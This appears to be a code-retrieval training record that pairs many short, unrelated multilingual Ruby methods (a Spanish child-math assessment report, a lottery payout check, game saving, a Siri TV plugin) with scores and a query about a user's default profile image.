“trescientos”, el 2 del medio indica “veinte” y el 1 de la derecha indica “uno”. \n\n* Enseñar al niño con los errores que cometen otras personas. De esta manera, pueden ver que alguien escribe 200304 en lugar de 234 porque escriben los números como suenan. Normalmente resulta más fácil aprender del error cuando lo cometen otros. \n\"\n\nelsif @test.edad.between?(90, 101) && @test.pf_conv < 6 then\n @i = \"El/la estudiante se encuentra en proceso de adquirir las habilidades de lectura y escritura de acuerdo a lo esperado para la edad que posee.\nAlgunas recomendaciones para apoyar al estudiante:\n\n\n* Ofrecer al niño varios juegos que le proporcionen práctica con la lectura de números. Primero se le debe incentivar a que lean números de un dígito (por ejemplo, en un libro o cuaderno), pero una vez dominado esto se le debe enseñar las reglas para leer números de 2 dígitos. El niño debe saber que la posición es crucial: los números que indican las unidades están a la derecha, los números que indican las decenas están a su izquierda. Así, en 18, el 1 de la izquierda indica “diez” y el 8 de la derecha indica “ocho”. \n\"\n \nend\n\n\n\n\n# Hechos Numéricos\n\n# 60 a 89\n\nif @test.edad.between?(60, 89) then\n @j= \"No se evalúa esta área para el rango de edad de su hijo/a.\"\n\n# 90 a 101\n\nelsif @test.edad.between?(90, 101) && @test.pf_hecho > 6 then\n @j= \"El/la estudiante ha adquirido las habilidades de realizar operaciones sencillas (suma, resta y multiplicación) sin necesidad de realizar el cálculo por encima de lo esperado para la edad que posee.\nAlgunas recomendaciones para practicar lo aprendido y/o generar nuevos aprendizajes:\n\n\n* En el caso de las restas como 10 - 3, la mejor técnica de solución es la estrategia de contar hacia atrás, es decir, comenzar en 10 y contar hacia atrás 3. También se le puede presentar al niño actividades para que capte la relación complementaria entre la suma y la resta. Esto puede encontrarse en la tabla de restar. Por ejemplo, si el niño mira la columna que muestra todos los números restados de 10, verá que los resultados van incrementándose en uno, consiguiendo al final la secuencia numérica:\no 10 - 10 = 0\no 10 - 9 = 1\no 10 - 8 = 2\no 10 - 7 = 3\no 10 - 6 = 4\no 10 - 5 = 5, y así sucesivamente. \n\n* En el caso de las sumas como 8 + 5, la estrategia más común es seguir contando a partir del número mayor (8 + 5 son “ocho, nueve, diez… trece”) o el uso de varios trucos como llegar hasta 10 y después añadir lo que falta contando (“8 + 5 son trece, porque ocho y dos son diez, y después con los tres que quedan son trece”). \n\n* En el caso de las multiplicaciones como N x 1, el patrón es fácil de ver y lleva al niño a la conclusión de que al multiplicar un número por uno, el resultado es ese mismo número. Esta regla se aplica a todos los números. También es importante darle al niño juegos con material concreto del concepto de multiplicación. Por ejemplo, puede ser útil la analogía de que 3x1 es como tener 3 canicas en una bolsa. Hay en total 3 canicas. La multiplicación 3x2 es como tener dos bolsas de 3 canicas, en total son 6 canicas y así sucesivamente. \n\n* En el caso de las multiplicaciones como N x 0, se puede utilizar un juego muy sencillo. Se trata de que el niño no meta nada en una bolsa, por ejemplo un gato de juguete, después debe mirar dentro de ella y asegurarse de que no hay ningún gato. Pedirle, a continuación, que haga lo mismo con otra bolsa y con otra: así se le da la oportunidad de ver, concretamente, que N x 0 es igual a 0. \n\n* En el caso de las multiplicaciones como 3 x 2, el niño puede descubrir el patrón: 3 x 2 es lo mismo que 3 + 3. Puede aprender que “multiplicar por dos” es lo mismo que sumar el mismo número dos veces o calcular el doble. Esta regla se aplica a todos los números. \n\"\n\nelsif @test.edad.between?(90, 101) && @test.pf_hecho.between?(4, 6) then\n @j = \"El/la estudiante ha adquirido las habilidades de realizar operaciones sencillas (suma, resta y multiplicación) sin necesidad de realizar el cálculo de acuerdo a lo esperado para su edad.\nAlgunas recomendaciones para mejorar lo aprendido:\n\n\n* En el caso de las sumas, como 3 + 4, la mejor estrategia de pensamiento es simplemente “seguir contando” desde el número mayor (“cuatro, cinco, seis y siete”). Este método les proporciona una estrategia útil para resolver problemas de suma cuando no recuerden los hechos numéricos correspondientes. Animar al niño a no adivinar las sumas en el caso de que no las sepan de memoria, sino animarlo a seguir contando. \n\n* En el caso de las multiplicaciones, como N x 1, el patrón es fácil de ver y lleva al niño a la conclusión de que al multiplicar un número por uno, el resultado es ese mismo número. Esta regla se aplica a todos los números. También es importante darle al niño juegos con material concreto del concepto de multiplicación. Por ejemplo, puede ser útil la analogía de que 3x1 es como tener 3 canicas en una bolsa. Hay en total 3 canicas. La multiplicación 3x2 es como tener dos bolsas de 3 canicas, en total son 6 canicas y así sucesivamente. \n\n* En el caso de las multiplicaciones como N x 0, se puede utilizar un juego muy sencillo. Se trata de que el niño no meta nada en una bolsa, por ejemplo un gato de juguete, después debe mirar dentro de ella y asegurarse de que no hay ningún gato. Pedirle, a continuación, que haga lo mismo con otra bolsa y con otra: así se le da la oportunidad de ver, concretamente, que N x 0 es igual a 0. \n\n* En el caso de las restas del tipo 2N - N, el patrón lleva a la conclusión de que la respuesta es la misma que el número que has quitado. Esta regla, después, se aplica a muchos números: aquellos en que la cantidad que se quita (el sustraendo) es la mitad de la cantidad de partida (minuendo), por ejemplo 6 - 3, 10 - 5, etc. También se le puede enseñar un juego con material concreto, utilizando objetos y una bolsa de plástico. Así, se introduce un número par de objetos en una bolsa, que previamente se ha dividido en dos partes (con una cinta adhesiva de un color, por ejemplo). Al niño se le muestra que el total se forma sumando las dos partes iguales. Además, se puede insistir en la relación inversa: si al total le quitamos una de las partes, nos queda la otra. También se le puede plantear ejercicios del tipo: \no 2 - 1 = 1 \no 4 - 2 = 2\no 6 - 3 = 3 \no 8 - 4 = 4\no ¿Cuál es el siguiente?\n\"\n\nelsif @test.edad.between?(90, 101) && @test.pf_hecho < 4 then\n @j = \"El/la estudiante se encuentra en proceso de adquirir las habilidades de realizar operaciones sencillas (suma, resta y multiplicación) sin necesidad de realizar el cálculo de acuerdo a lo esperado para la edad que posee.\nAlgunas recomendaciones para apoyar al estudiante:\n\n* Enseñar al niño que en hechos numéricos como 2 - 2 (dos menos dos), se puede observar que si se resta un número de sí mismo el resultado es “cero”. El patrón es fácil y esta regla se aplica a todos los números. \n\n* En el caso de las sumas, como 3 + 4, la mejor estrategia de pensamiento es simplemente “seguir contando” desde el número mayor (“cuatro, cinco, seis y siete”). Este método les proporciona una estrategia útil para resolver problemas de suma cuando no recuerden los hechos numéricos correspondientes. Animar al niño a no adivinar las sumas en el caso de que no las sepan de memoria, sino animarlo a seguir contando. \n\"\n \nend\n\n\n\n# Cálculo FORMAL \n\n# 60 a 89\n\nif @test.edad.between?(60, 89) then\n @k= \"No se evalúa esta área para el rango de edad de su hijo/a.\"\n\n\n# 90 a 95\n\nelsif @test.edad.between?(90, 95) && @test.pi_comp > 5 then\n @k= \"El/la estudiante ha adquirido las habilidades de cálculo formal por encima de lo esperado para la edad que posee.\nAlgunas recomendaciones para practicar lo aprendido y/o generar nuevos aprendizajes:\n\n\n* Ofrecer diferentes experiencias con el sistema decimal, puede hacer uso también de material concreto. Recordar que el sistema decimal es básico en la aritmética elemental pues es la base de la escritura de los números.\n\n* Si el niño presenta dificultades con el algoritmo de la resta escrita con “llevadas” es importante trabajar con materiales concretos (como el material multibase o regletas de Cuissinaire) con el fin de desarrollar una comprensión básica del método estándar. \n\n* Inventar problemas retadores con los niños de tal manera que se necesite hacer cálculos de suma o resta de forma escrita para resolverlos.\n\"\n\nelsif @test.edad.between?(90, 95) && @test.pi_comp.between?(2, 5) then\n @k = \"El/la estudiante ha adquirido las habilidades de cálculo formal de acuerdo a lo esperado para su edad.\nAlgunas recomendaciones para mejorar lo aprendido:\n\n\n* Fomentar la comprensión del valor posicional, el estudiante necesita aprender por qué los números han de ser alineados, para operar desde la derecha. Es recomendable enseñar el algoritmo estándar mediante actividades manipulativas.\n\n* Fomentar la comprensión del método, y no solo abordar de forma mecánica la resolución de la cuenta con la simple aplicación del algoritmo. Preguntar al niño cómo está realizando sus operaciones y por qué lo hace de esa forma.\n\n* Ofrecer diferentes experiencias con el sistema decimal mediante el trabajo con material concreto. Recordar que el sistema decimal es básico en la aritmética elemental pues es la base de la escritura de los números.\n\n* Inventar problemas con los niños de tal manera que se necesite hacer cálculos de suma o resta de forma escrita para resolverlos.\n\"\n\nelsif @test.edad.between?(90, 95) && @test.pi_comp < 2 then\n @k = \"El/la estudiante se encuentra en proceso de adquirir las habilidades cálculo formal de acuerdo a lo esperado para la edad que posee.\nAlgunas recomendaciones para apoyar al estudiante:\n\n\n* Fomentar la comprensión del valor posicional, el estudiante necesita aprender por qué los números han de ser alineados, para operar desde la derecha. Es recomendable enseñar el algoritmo estándar mediante actividades manipulativas.\n\n* Emplear juegos con material concreto para enseñar la suma y resta de 10 desde una decena. Se pueden usar cubitos (o palitos) unidos para formar las decenas y luego sumar o restar decenas con estos materiales.\n\n* Inventar problemas sencillos con los niños de tal manera que se necesite hacer cálculos de suma o resta de forma escrita para resolverlos.\n\"\n\n\n# 96 a 101\n\nelsif @test.edad.between?(96, 101) && @test.pi_comp > 7 then\n @k= \"El/la estudiante ha adquirido las habilidades de cálculo formal por encima de lo esperado para la edad que posee.\nAlgunas recomendaciones para practicar lo aprendido y/o generar nuevos aprendizajes:\n\n\n* Ofrecer diferentes experiencias con el sistema decimal, puede hacer uso también de material concreto. Recordar que el sistema decimal es básico en la aritmética elemental pues es la base de la escritura de los números.\n\n* Si el niño presenta dificultades con el algoritmo de la resta escrita con “llevadas” es importante trabajar con materiales concretos (como el material multibase o regletas de Cuissinaire) con el fin de desarrollar una comprensión básica del método estándar. \n\n* Inventar problemas retadores con los niños de tal manera que se necesite hacer cálculos de suma o resta de forma escrita para resolverlos.\n\"\n\nelsif @test.edad.between?(96, 101) && @test.pi_comp.between?(5, 7) then\n @k = \"El/la estudiante ha adquirido las habilidades de cálculo formal de acuerdo a lo esperado para su edad.\nAlgunas recomendaciones para mejorar lo aprendido:\n\n\n* Fomentar la comprensión del valor posicional, el estudiante necesita aprender por qué los números han de ser alineados, para operar desde la derecha. Es recomendable enseñar el algoritmo estándar mediante actividades manipulativas.\n\n* Fomentar la comprensión del método, y no solo abordar de forma mecánica la resolución de la cuenta con la simple aplicación del algoritmo. Preguntar al niño cómo está realizando sus operaciones y por qué lo hace de esa forma.\n\n* Ofrecer diferentes experiencias con el sistema decimal mediante el trabajo con material concreto. Recordar que el sistema decimal es básico en la aritmética elemental pues es la base de la escritura de los números.\n\n* Inventar problemas con los niños de tal manera que se necesite hacer cálculos de suma o resta de forma escrita para resolverlos.\n\"\n\nelsif @test.edad.between?(96, 101) && @test.pi_comp < 5 then\n @k = \"El/la estudiante se encuentra en proceso de adquirir las habilidades cálculo formal de acuerdo a lo esperado para la edad que posee.\nAlgunas recomendaciones para apoyar al estudiante:\n\n\n* Fomentar la comprensión del valor posicional, el estudiante necesita aprender por qué los números han de ser alineados, para operar desde la derecha. Es recomendable enseñar el algoritmo estándar mediante actividades manipulativas.\n\n* Emplear juegos con material concreto para enseñar la suma y resta de 10 desde una decena. Se pueden usar cubitos (o palitos) unidos para formar las decenas y luego sumar o restar decenas con estos materiales.\n\n* Inventar problemas sencillos con los niños de tal manera que se necesite hacer cálculos de suma o resta de forma escrita para resolverlos.\n\"\n \nend\n \n end", "def publicado\n\t\t\t# Usado para mostrar el capitulo 14 - Following\n\t\t\t# Ejecuta una consulta SQL con id escapado\n\t\t#Microentrada.where(\"usuario_id = ?\", id) \n\t\t\t# siguiendo_ids = usuario.siguiendo.map(&:id)\n\t\t#Microentrada.where(\"usuario_id IN (?) OR usuario_id = ?\", siguiendo_ids, id) \n\t\t\t# Mediante el sub-select, la operacion se mantiene en la BD\n\t\tsiguiendo_ids = \"SELECT seguido_id FROM relaciones WHERE seguidor_id = :usuario_id\"\n\t\tMicroentrada.where(\"usuario_id IN (#{siguiendo_ids}) OR usuario_id = :usuario_id\", usuario_id: id)\n\t\t\t# equivalente a: \n\t\t#microentradas\n\tend", "def huella\n\t\tindice1 = 0\n\t\t#dependiendo del vct de cada ingrediente, se le pone un indice\n\t\tif vct < 670\n\t\t\tindice1 = 1\n\t\t\t\n\t\telsif vct > 830\n\t\t\tindice1 = 3\n\t\telse \n\t\t\tindice1 = 2\n\t\tend \n\t\tindice2 = 0\n\t\t#dependiendo de los gases emitidos de cada ingrediente, \n\t\t#se le pone un indice\n\t\tif emisiones < 800\n\t\t\tindice2 = 1\n\t\telsif emisiones > 1200\n\t\t\tindice2 = 3\n\t\telse \n\t\t\tindice2 = 2\n\t\tend\n\t\t#hace la media de los indices sacados\n\t\tindiceres = (indice1+indice2)/2\n\t\t\n\n\tend", "def asignar_titulo_propiedad()\n \n end", "def vin; end", "def informa(pippo)\n # 1. Calcolo i valori di c14_idaliquotaiva e la loro frequenza in lbooks\n ivaInLbooks = Lbook.gruppiIVA\n risultL = \"1. Segue hash ivaInLbooks: #{ivaInLbooks.inspect}\"\n pippo.scriviRiga(risultL)\n\n # 2. Calcolo i valori di idaliquotaiva e la loro frequenza in books\n ivaInBbooks = Book.gruppiIVA\n risultB = \"2. Segue hash ivaInBbooks: #{ivaInBbooks.inspect}\"\n pippo.scriviRiga(risultB) \nend", "def recolectar_una\n\t\test = \"\"\n\t\tif @estado == ESTADO::MUERTE\n\t\t\test = \"El árbol está muerto\"\n\t\telse\n\t\t\tif @contador == 0\n\t\t\t\test = \"No hay más naranjas\"\n\t\t\telse\n\t\t\t\test = \"La naranja estaba deliciosa\"\n\t\t\t\t@contador -= 1\n\t\t\tend\n\t\tend\n\t\test\n\tend", "def preamp\n @ole.Preamp\n end", "def prepara_form\n @enderecos = Endereco.order :rua\n end", "def rossini; end", "def resale\n\n end", "def datos_default\n if new_record?\n lastRecord = MovMovimiento.last\n if lastRecord\n self.hoja = lastRecord.hoja\n end\n\n num_abonos = ComPago.where(com_compra: com_compra).count + 1\n self.concepto = \"Abono #{num_abonos} a compra \\\"#{com_compra.title}\\\"\"\n end\n end", "def extrato\n\n end", "def affichage_bienvenue\nputs\"------------------------------------------------\n|Bienvenue sur 'ILS VEULENT TOUS MA POO' ! |\n|Le but du jeu est d'être le dernier survivant !|\n-------------------------------------------------\"\nend", "def sauvegarder(unNom)\n\t\tif nbSaves() >= 8\n\t\t\tdialog = Gtk::Dialog.new(\"Alerte\",\n \t $main_application_window,\n \t :destroy_with_parent,\n \t [ Gtk::Stock::OK, :none ])\n \t\t\tdialog.set_window_position(:center_always)\n\n \t # Ensure that the dialog box is destroyed when the user responds.\n \t dialog.signal_connect('response') { dialog.destroy }\n\n \t # Add the message in a label, and show everything we've added to the dialog.\n \t dialog.child.add(Gtk::Label.new( \"\\nImpossible:nombre maximum de sauvegardes atteint (8/8)!\\n\" ))\n \t dialog.show_all\n\t\telse\n\t\t\t# Serialisation des différentes classes\n\t\t\thypo = @hypo.to_yaml()\n\n\t\t\t# Ecriture dans le fichier\n\t\t\tmonFichier = File.open(\"../sauvegardes/\"+unNom, \"w\")\n\t\t\tmonFichier.write(hypo)\n\t\t\tmonFichier.write(\"***\\n\")\n\t\t\tmonFichier.write(@pseudo)\n\t\t\tmonFichier.write(\"\\n***\\n\")\n\t\t\tmonFichier.write(@inc)\n\t\t\tmonFichier.write(\"\\n***\\n\")\n\t\t\tmonFichier.write(@time)\n\t\t\tmonFichier.write(\"\\n***\\n\")\n\t\t\tmonFichier.write(@cheminMap)\n\t\t\tmonFichier.write(\"\\n***\\n\")\n\t\t\tmonFichier.write(@nbHypo)\n\t\t\tmonFichier.write(\"\\n***\\n\")\n\n\t\t\t# Fermeture du fichier\n\t\t\tmonFichier.close\n\t\tend\n\tend", "def get_rover_details; end", "def calcula_consecutivos\n if new_record?\n lastRecord = MovMovimiento.last\n if lastRecord\n self.hoja = lastRecord.hoja\n #self.ciclo = lastRecord.ciclo\n end\n end\n end", "def get_rear()\n \n end", "def Terreno\n\t\treturn @terreno\n\tend", "def programmjetzt\ndoc = tvprogramm(doc)\ndob = tvprogrammsat(dob)\n if doc == NIL or doc == \"\"\n say \"Es gab ein Problem beim Einlesen des Fernsehprogramms!\"\n elsif dob == NIL or dob == \"\"\n say \"Es gab ein Problem beim Einlesen des Fernsehprogramms!\"\n else\n doc.encoding = 'utf-8'\n dob.encoding = 'utf-8'\n docs = doc.xpath('//title')\n dobs = dob.xpath('//title')\n i = 1\n while i < docs.length\n dos = docs[i].to_s\n dos = cleanup(dos)\n doss = dos[0,5]\n if doss == \"ARD: \"\n dos = dosund(dos)\n orf1 = dos\n elsif doss == \"ZDF: \"\n dos = dosund(dos)\n orf2 = dos\n elsif doss == \"SAT.1\"\n dos = dosund(dos)\n orf3 = dos\n elsif doss == \"RTL: \"\n dos = dosund(dos)\n atv = dos\n elsif doss == \"PRO7:\"\n dos = dosund(dos)\n orfs = dos\n elsif doss == \"RTL2:\"\n dos = dosund(dos)\n puls4 = dos\n elsif doss == \"KABEL\"\n dos = dosund(dos)\n servus = dos\n else\n end\n i += 1\n end\n i = 1\n while i < dobs.length\n dos = dobs[i].to_s\n dos = cleanup(dos)\n doss = dos[0,5]\n \n if doss == \"3SAT:\"\n dos = dosund(dos)\n sat = dos\n else\n end\n i += 1\n end\n say \"\", spoken: \"Das läuft gerade im Fernsehen\"\nobject = SiriAddViews.new\n object.make_root(last_ref_id)\n answer = SiriAnswer.new(\"TV Programm - aktuell\", [\n SiriAnswerLine.new(orf1),\n SiriAnswerLine.new(orf2),\n SiriAnswerLine.new(orf3),\n SiriAnswerLine.new(atv),\n SiriAnswerLine.new(sat),\n SiriAnswerLine.new(puls4),\n SiriAnswerLine.new(servus),\n SiriAnswerLine.new(orfs)\n ])\n object.views << SiriAnswerSnippet.new([answer])\n send_object object\n \n end\n request_completed\nend", "def recup_handle\n\t\t\n\tend", "def secuenciasugerida \n #recupera los hijos del padre de la cuenta a crear \n\t\thijos = Catalogo.where(\"padre_id = ? AND activo = ?\", idcuenta, true)\n\n #configuracion del nivel a crear\n\t\tidnivel = Catalogo.find_by(id: idcuenta).nivel_id\n\t\tnivelh = Nivel.find_by(id: idnivel).numnivel + 1\n\n nivel = Nivel.find_by(numnivel: nivelh)\n nrodigitos = nivel.nrodigitos\n nrodigitostotal = nivel.nrodigitostotal\n digito = 0\n aux = 0\n\n hijos.each do |e|\n \taux = e.codigo.last(nrodigitos).to_i\n \t\tif digito < aux\n\t\t\t\tdigito = aux\n \t\tend\n \tend\n \tdigito = digito + 1\n \tc =\"\"\n \tnrodigitos.times { c = c + \"0\" }\n \tc = c.to_s + digito.to_s \t\n \t\t\n #codigo sugerido\n \treturn c.last(nrodigitos).to_s\n\tend", "def presentacion\n \"La marca del Ventilador es #{@marca}\"\n end", "def private; end", "def ingresar_detalle_en_venta(detalle_venta,venta)\n if venta[:esta_vacio]\n venta[:tope] = detalle_venta\n venta[:final] = detalle_venta\n venta[:esta_vacio] = false\n venta[:size] +=1\n venta[:max]-=1\n else\n final = venta[:final]\n final[:siguiente] = detalle_venta\n venta[:final] = detalle_venta\n venta[:size]+=1\n venta[:max]-=1\n end\nend", "def realizar_cuestionario_demora\n @paciente = Paciente.find(params[:id])\n @accionPerfilamiento = \"Cuestionario por Demora\"\n end", "def info_conta\n # CAMPO TAMANHO\n # agencia 3\n # conta corrente 7\n \"#{agencia}#{conta_corrente}\"\n end", "def show\n ##puts Transacao.find(2).cliente.nome\n ##puts Imposto.find(18).tabela_de_limites.limite_inferior\n end", "def last_rut; end", "def adjourn_points_giocataend\r\n # at the end of the game remain to calculate the primiera\r\n player1 = @players[0]\r\n player2 = @players[1]\r\n hand1 = @carte_prese[player1.name]\r\n hand2 = @carte_prese[player2.name]\r\n prim_res_arr = calculate_primiera(hand1, hand2)\r\n @log.debug(\"Primiera of #{player1.name}:#{prim_res_arr[0]}, #{player2.name}: #{prim_res_arr[1]}\")\r\n # update points on all players\r\n ix = 0\r\n [player1, player2].each do |pl|\r\n points_info = @points_curr_segno[pl.name]\r\n points_info[:primiera] = prim_res_arr[ix]\r\n #calculate total\r\n tot = 0\r\n points_info.each do |k,v|\r\n next if k == :tot\r\n tot += v\r\n end\r\n points_info[:tot] = tot\r\n ix += 1\r\n end\r\n end", "def candidatGrille()\n\n\tend", "def nombre_y_apellido \n primer_nombre + ' ' + primer_apellido\n end", "def gouv\n debut = params[:premiere].to_date\n fin = params[:derniere].to_date\n @rG = RetenuesGouvernementales.new(debut, fin)\n end", "def apprentice\n\n\tend", "def ligar #Metodo/função da classe Carro\n puts 'O carro está pronto para iniciar o trajeto.'\n end", "def precio_mercado\n @serie.valor_primer_dia('precio')\n end", "def titulares_serial\n Representante.find(self.titular_ids_serial).map(&:nombre)\n end", "def desplegarProceso\n\t\tputs \"id=#{@id} cantBytes=#{@cantBytes} cantPaginas=#{@cantPaginas}\"\n\t\tputs \"marcosRealAsig=#{@marcosRealAsig} marcosSwapAsig=#{@marcosSwapAsig}\"\n\tend", "def refutal()\n end", "def get_txt_panneau\n\t\treturn [mdl_par.panneaux[0].to_s,mdl_par.panneaux[1].to_s]\n\tend", "def busqueda\n \t@pagadero = Payment.find_by_id(params[:id])\n \t# @imp = @pagadero.to_s\n end", "def excede_control_de_pago_x_ticket_x_parlay(last_tickect_current_user, entrada) # define el monto maximo a sacar por parlay, ej. pago max para tripletas, cuartetas etc.. no por ticket sino por tipo de ticket parlay ok\n @sumatoria_posible_pago_todos_tickets_de_hoy_ese_parlay = 0 # inicializacion de variable de sumatoria en cero ok.\n #verificar tipo de parlay de ese ticket:\n parlay_count = Jugadalot.where(:ticket_id => last_tickect_current_user).count\n #parlay_count\n\n #switch case para asignar tipo de jugada segun tipo de parlay para buscar en control de pago:\n tipo_jugada = \"default\" # valor vacio para posible uso fuera de contexto de septimetas en adelante, hacer que retorne false la funcion ok. (no encontrado)\n \n #el switch case lo haremos de modo simple con el if statement por ahora ok:\n if parlay_count.to_i == 1\n tipo_jugada = \"directo\" \n end\n\n if parlay_count.to_i == 2\n tipo_jugada = \"pale\" \n end\n\n if parlay_count.to_i == 3\n tipo_jugada = \"tripleta\" \n end\n\n if parlay_count.to_i == 4\n tipo_jugada = \"cuarteta\" \n end\n\n if parlay_count.to_i == 5\n tipo_jugada = \"quinteta\" \n end\n\n if parlay_count.to_i == 6\n tipo_jugada = \"sexteta\" \n end\n\n if parlay_count.to_i == 7\n tipo_jugada = \"septimeta\" \n end\n\n if parlay_count.to_i == 8\n tipo_jugada = \"octaveta\" \n end\n\n control_monto_max_pago = Controldepagogt.where(:tipojugada => tipo_jugada ).first.limiteglobal.to_i\n\n #acabo de conseguir el limite global de ese parlay en curso, ahora buscar la sumatoria de todos las jugadalots.posiblepago de los ticket activo de hoy y ver si no sbobrepara ese limiet ok\n t_ids = Ticket.today.where(:activo => \"si\", :parlay => tipo_jugada.to_s ).ids # todos los ticket actio de hoy con ese parlay ok\n \n @listado_jugadas_a_sumar = Jugadalot.where(:ticket_id => t_ids)# POstgres casting sum string error ok..sum(:posiblepago).to_i\n \n if not @listado_jugadas_a_sumar.nil?\n @listado_jugadas_a_sumar.each do |jugada|\n @sumatoria_posible_pago_todos_tickets_de_hoy_ese_parlay += jugada.posiblepago.to_i\n end\n end\n\n \n\n #Sumar posible pago de esas jugadas de cada ticket parlay ok.\n #@sumatoria_posible_pago_todos_tickets_de_hoy_ese_parlay = 0\n #t.each do |ticket|\n # @sumatoria_posible_pago_todos_tickets_de_hoy_ese_parlay += Jugadalot.where(:ticket_id => ticket.id).last.posiblepago.to_i\n #end\n\n if @sumatoria_posible_pago_todos_tickets_de_hoy_ese_parlay.to_i <= control_monto_max_pago.to_i\n # si es menor todo ok\n false # no excede\n else\n true #si excede \n end\n\n\n end", "def porc_grasa\n\t\t(1.2 * self.indice_masa_corporal + 0.23 * edad - 10.8 * sexo - 5.4).round(1)\n\tend", "def detalhe_posicao_395_400(pagamento, sequencial)\n\t\t\t\t\t\t\"#{sequencial}\".adjust_size_to(6, '0', :right)\n\t\t\t\t\tend", "def publ (pippo) \n nPubRec = Publisher.tuttibase\n riga = \"Tabella publishers; Numero Record; #{nPubRec.size} record;.\" \n puts riga \n pippo.scriviRiga(riga)\n\n # verifica che siano presenti tutti gli id\n # usa per questo scopo uno scope (tuttibase) che restituisce solo id, vecchioid e nome seguito\n # dallo scope di nome maxid (vedere model) \n max_id = nPubRec.maxid \n riga = \"Tabella publishers; Massimo id; #{max_id};.\"\n puts riga\n pippo.scriviRiga(riga) \n \n # verifica il valore massimo del campo vecchioid\n # usa per questo scopo uno scope (tuttibase) che restituisce solo id, vecchioid e nome \n # al quale applichiamo lo scope maxvecchioid\n max_vecchioid = nPubRec.maxvecchioid\n riga = \"Tabella publishers; Massimo vecchioid; #{max_vecchioid};.\"\n puts riga\n pippo.scriviRiga(riga) \n\n # verifica numero dei record bidone stringa \"nonono \" in nome\n # usa per questo scopo uno scope (tuttibase) che restituisce solo id, vecchioid e nome \n # al quale applichiamo lo scope maxvecchioid\n mieibidoni = nPubRec.bidoni\n riga = \"Tabella publishers; Numero di bidoni presenti; #{mieibidoni.size};.\"\n staRiga(riga, pippo)\n\n # verifica che non esistano doppioni nei valori di vecchioid\n gruppiVID = Publisher.gruppiVECCHIOID\n primoPub = gruppiVID[1].inspect\n puts primoPub\n staRiga(\"Tabella publishers; Verifica duplicazioni vecchioid; #{gruppiVID.size};.\", pippo )\nend", "def who_we_are\r\n end", "def realizar_cuestionario\n @paciente = Paciente.find(params[:id])\n @accionPerfilamiento = \"Cuestionario Tipo Frustraciones\"\n end", "def sub_e\n end", "def secondo\n self[1]\n end", "def contenido_de_la_posicion(posicion)\n @tablero.contenido_de_la_posicion posicion\n end", "def ligar #iniciando o método ligar\n puts 'O carro está ligado...' #imprime na tela a ação do método\n end", "def extraer_delante\n if(@tam == 0)\n puts \"La Lista está vacía\"\n else\n aux = @cabeza\n @cabeza = @cabeza[:Next_]\n @cabeza[:prev] = nil\n @tam = @tam - 1\n return aux[:value]\n end\n end" ]
[ "0.66511375", "0.6314501", "0.61893475", "0.6116405", "0.6089723", "0.6073965", "0.6073965", "0.6048281", "0.6025585", "0.59745693", "0.59672725", "0.5954812", "0.5909865", "0.5841671", "0.5840754", "0.5840754", "0.57919973", "0.5759282", "0.5712602", "0.56629384", "0.5659052", "0.5657002", "0.564565", "0.5635333", "0.56333834", "0.56288713", "0.56233144", "0.5617625", "0.5601879", "0.5597689", "0.5594657", "0.5585299", "0.5563161", "0.5560794", "0.5546424", "0.553956", "0.553956", "0.55249965", "0.5521798", "0.55143", "0.5512188", "0.55075777", "0.5499022", "0.54952157", "0.5489222", "0.5488758", "0.548235", "0.5478504", "0.54628867", "0.54512966", "0.54490185", "0.5441361", "0.54281497", "0.5416684", "0.5416199", "0.54143584", "0.5398166", "0.53942704", "0.53942144", "0.53819054", "0.53744173", "0.5373105", "0.53639936", "0.536028", "0.5356786", "0.53514093", "0.5350074", "0.5348194", "0.53313535", "0.5315827", "0.52998143", "0.52979636", "0.52962667", "0.5295457", "0.52921295", "0.5290838", "0.52891815", "0.5288733", "0.5286543", "0.52767074", "0.5268127", "0.52680063", "0.5264381", "0.5259819", "0.5255324", "0.5254946", "0.52533144", "0.52511615", "0.52495337", "0.5248687", "0.52482766", "0.5243868", "0.52405876", "0.52384406", "0.52348804", "0.52328616", "0.5232603", "0.5229519", "0.5228531", "0.5220549", "0.52166426" ]
0.0
-1
_____ IMAGE USER ________________________________
def default_image @default_photo = PhotoUser.where('user_id = ? AND first_image = 1 AND image IS NOT NULL',self.id) if @default_photo.count > 0 @mydefault_photo = PhotoUser.find(@default_photo[0].id) return @mydefault_photo else return nil end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def user_icon()\n photo_name_column(get_person, 65)\n end", "def user_img_URL\n self.user.image_url\n end", "def get_image_name(user_hash)\n image_name = user_hash[\"image\"][:filename]\nend", "def get_author\n @image.user = current_user\n end", "def profile_photo\n\tend", "def get_user_image(user,size)\n if img=user.image\n img.photo.url(size)\n else\n '/images/default-user-image-'+size.to_s+'.jpg'\n end\n end", "def im_for_user(username)\n user = users.find do |u|\n u['name'] == username\n end\n ims.find do |im|\n im['user'] == user['id']\n end\n end", "def image\n @image = Image.find_user_image_by_ref(params[:user], params[:ref])\n end", "def user_pic user\n \"<a href='#{site(user)}' title='#{user.city} #{user.jobs} #{user.maxim} #{user.memo}' target='_blank'><img width='48' height='48' src='#{user.avatar.thumb.url}' width='#{USER_THUMB_SIZE}' height='#{USER_THUMB_SIZE}'></a>\"\n end", "def set_user_image\n @user_image = UserImage.find(params[:id])\n end", "def set_user_image\n @user_image = UserImage.find(params[:id])\n end", "def images_by_user # :nologin: :norobots:\n if user = params[:id] ? find_or_goto_index(User, params[:id].to_s) : @user\n query = create_query(:Image, :by_user, :user => user)\n show_selected_images(query)\n end\n end", "def set_image_user\n @image_user = ImageUser.find(params[:id])\n end", "def set_image_user\n @image_user = ImageUser.find(params[:id])\n end", "def profile_image hash = {}\n image_name = hash.delete(:image_name) ||\n @controller.instance_variable_get(:@profile_user).feed.name.titlecase.\n gsub(/[\\/\\\\\\!\\@\\#\\$\\%\\^\\*\\&\\-\\.\\,\\?]+/, ' ').gsub(' ', '').underscore\n hash.update :action => 'profile_image', :id =>\n image_name, :format => (hash[:format] || 'jpeg'), :trailing_slash => false\n home(hash)\n end", "def user_image(user, options={})\n # get the email from URL-parameters or what have you and make lowercase\n email_address = user.email.downcase\n \n # create the md5 hash\n hash = Digest::MD5.hexdigest(email_address)\n\n query_string = hash_to_query_string(options.reverse_merge({\n :size => 100,\n :default => 'identicon'\n }))\n\n # compile URL which can be used in <img src=\"RIGHT_HERE\"...\n \"http://www.gravatar.com/avatar/#{hash}#{query_string}\"\n end", "def public_image(who_asks)\n raise \"public_lastname: #{who_asks} is no User\" unless who_asks.is_a? User\n if (who_asks.shapter_admin or (who_asks.schools & self.schools).any? or self.is_friend_with?(who_asks) or who_asks == self)\n image\n else\n nil\n end\n end", "def images_by_user\n user = params[:id] ? 